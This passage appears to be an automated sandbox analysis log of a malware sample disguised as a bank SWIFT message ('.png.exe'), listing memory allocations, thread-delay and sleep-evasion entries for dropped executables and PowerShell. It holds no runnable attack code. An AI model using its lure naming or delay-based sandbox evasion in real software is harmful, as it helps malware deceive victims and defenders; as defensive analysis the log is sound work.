              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeMemory allocated: 2240000 memory reserve | memory write watch
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeMemory allocated: 2420000 memory reserve | memory write watch
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeMemory allocated: 4420000 memory reserve | memory write watch
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeMemory allocated: 2150000 memory reserve | memory write watch
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeMemory allocated: 2580000 memory reserve | memory write watch
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeMemory allocated: 22E0000 memory reserve | memory write watch
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 9_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,Module32Next,CloseHandle,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,KiUserExceptionDispatcher,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear,9_2_004019F0
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 922337203685477
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 600000
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 599891
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 599781
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 599672
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 599563
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 599438
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 599313
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 599203
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 599094
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 598969
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 598859
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 598750
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 598641
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 598532
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 598407
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 598282
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 598157
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 598047
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 597938
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 597813
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 597688
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 597563
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 597438
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 597328
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 597219
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 597094
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 596984
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 596873
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 596766
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 596657
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 596532
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 596407
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 596282
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 596172
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 596063
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 595938
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 595799
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 595672
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 595563
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 595438
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 595313
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 595194
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 595078
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 594969
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 594860
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 594750
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 594641
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 594516
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 594391
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 594282
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeThread delayed: delay time: 922337203685477
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 922337203685477
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 600000
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 599874
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 599765
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 599655
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 599546
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 599436
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 599327
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 599218
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 599109
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 599000
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 598890
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 598781
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 598671
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 598562
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 598453
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 598343
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 598234
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 598124
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 598015
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 597906
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 597796
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 597687
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 597578
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 597468
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 597359
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 597249
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 597140
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 597031
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 596918
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 596812
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 596703
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 596593
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 596484
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 596374
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 596233
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 596125
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 596015
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 595905
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 595797
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 595684
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 595490
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 595359
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 595246
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 595140
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 595031
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 594921
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 594812
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 594703
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 594593
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 594484
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 594375
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7939Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 797Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 8727Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 522Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeWindow / User API: threadDelayed 7599
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeWindow / User API: threadDelayed 2240
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeWindow / User API: foregroundWindowGot 1589
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeWindow / User API: threadDelayed 1860
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeWindow / User API: threadDelayed 8001
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exe TID: 4124Thread sleep time: -922337203685477s >= -30000sJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1700Thread sleep count: 7939 > 30Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7348Thread sleep time: -9223372036854770s >= -30000sJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2412Thread sleep count: 797 > 30Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7252Thread sleep time: -922337203685477s >= -30000sJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7352Thread sleep time: -5534023222112862s >= -30000sJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7312Thread sleep time: -922337203685477s >= -30000sJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7968Thread sleep time: -30437127721620741s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7968Thread sleep time: -600000s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7968Thread sleep time: -599891s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7968Thread sleep time: -599781s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7968Thread sleep time: -599672s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7968Thread sleep time: -599563s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7968Thread sleep time: -599438s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7968Thread sleep time: -599313s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7968Thread sleep time: -599203s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7968Thread sleep time: -599094s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7968Thread sleep time: -598969s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7968Thread sleep time: -598859s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7968Thread sleep time: -598750s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7968Thread sleep time: -598641s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7968Thread sleep time: -598532s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7968Thread sleep time: -598407s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7968Thread sleep time: -598282s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7968Thread sleep time: -598157s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7968Thread sleep time: -598047s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7968Thread sleep time: -597938s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7968Thread sleep time: -597813s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7968Thread sleep time: -597688s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7968Thread sleep time: -597563s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7968Thread sleep time: -597438s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7968Thread sleep time: -597328s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7968Thread sleep time: -597219s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7968Thread sleep time: -597094s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7968Thread sleep time: -596984s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7968Thread sleep time: -596873s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7968Thread sleep time: -596766s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7968Thread sleep time: -596657s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7968Thread sleep time: -596532s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7968Thread sleep time: -596407s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7968Thread sleep time: -596282s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7968Thread sleep time: -596172s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7968Thread sleep time: -596063s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7968Thread sleep time: -595938s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7968Thread sleep time: -595799s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7968Thread sleep time: -595672s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7968Thread sleep time: -595563s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7968Thread sleep time: -595438s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7968Thread sleep time: -595313s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7968Thread sleep time: -595194s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7968Thread sleep time: -595078s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7968Thread sleep time: -594969s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7968Thread sleep time: -594860s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7968Thread sleep time: -594750s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7968Thread sleep time: -594641s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7968Thread sleep time: -594516s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7968Thread sleep time: -594391s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7968Thread sleep time: -594282s >= -30000s
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exe TID: 7660Thread sleep time: -922337203685477s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7984Thread sleep time: -26747778906878833s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7984Thread sleep time: -600000s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7984Thread sleep time: -599874s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7984Thread sleep time: -599765s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7984Thread sleep time: -599655s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7984Thread sleep time: -599546s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7984Thread sleep time: -599436s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7984Thread sleep time: -599327s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7984Thread sleep time: -599218s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7984Thread sleep time: -599109s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7984Thread sleep time: -599000s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7984Thread sleep time: -598890s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7984Thread sleep time: -598781s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7984Thread sleep time: -598671s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7984Thread sleep time: -598562s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7984Thread sleep time: -598453s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7984Thread sleep time: -598343s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7984Thread sleep time: -598234s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7984Thread sleep time: -598124s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7984Thread sleep time: -598015s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7984Thread sleep time: -597906s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7984Thread sleep time: -597796s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7984Thread sleep time: -597687s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7984Thread sleep time: -597578s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7984Thread sleep time: -597468s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7984Thread sleep time: -597359s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7984Thread sleep time: -597249s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7984Thread sleep time: -597140s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7984Thread sleep time: -597031s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7984Thread sleep time: -596918s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7984Thread sleep time: -596812s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7984Thread sleep time: -596703s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7984Thread sleep time: -596593s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7984Thread sleep time: -596484s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7984Thread sleep time: -596374s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7984Thread sleep time: -596233s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7984Thread sleep time: -596125s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7984Thread sleep time: -596015s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7984Thread sleep time: -595905s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7984Thread sleep time: -595797s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7984Thread sleep time: -595684s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7984Thread sleep time: -595490s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7984Thread sleep time: -595359s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7984Thread sleep time: -595246s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7984Thread sleep time: -595140s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7984Thread sleep time: -595031s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7984Thread sleep time: -594921s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7984Thread sleep time: -594812s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7984Thread sleep time: -594703s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7984Thread sleep time: -594593s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7984Thread sleep time: -594484s >= -30000s
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exe TID: 7984Thread sleep time: -594375s >= -30000s
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 922337203685477
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 600000
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 599891
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 599781
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 599672
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 599563
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 599438
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 599313
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 599203
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 599094
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 598969
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 598859
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 598750
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 598641
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 598532
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 598407
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 598282
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 598157
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 598047
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 597938
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 597813
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 597688
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 597563
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 597438
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 597328
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 597219
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 597094
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 596984
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 596873
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 596766
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 596657
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 596532
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 596407
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 596282
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 596172
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 596063
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 595938
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 595799
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 595672
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeThread delayed: delay time: 595563
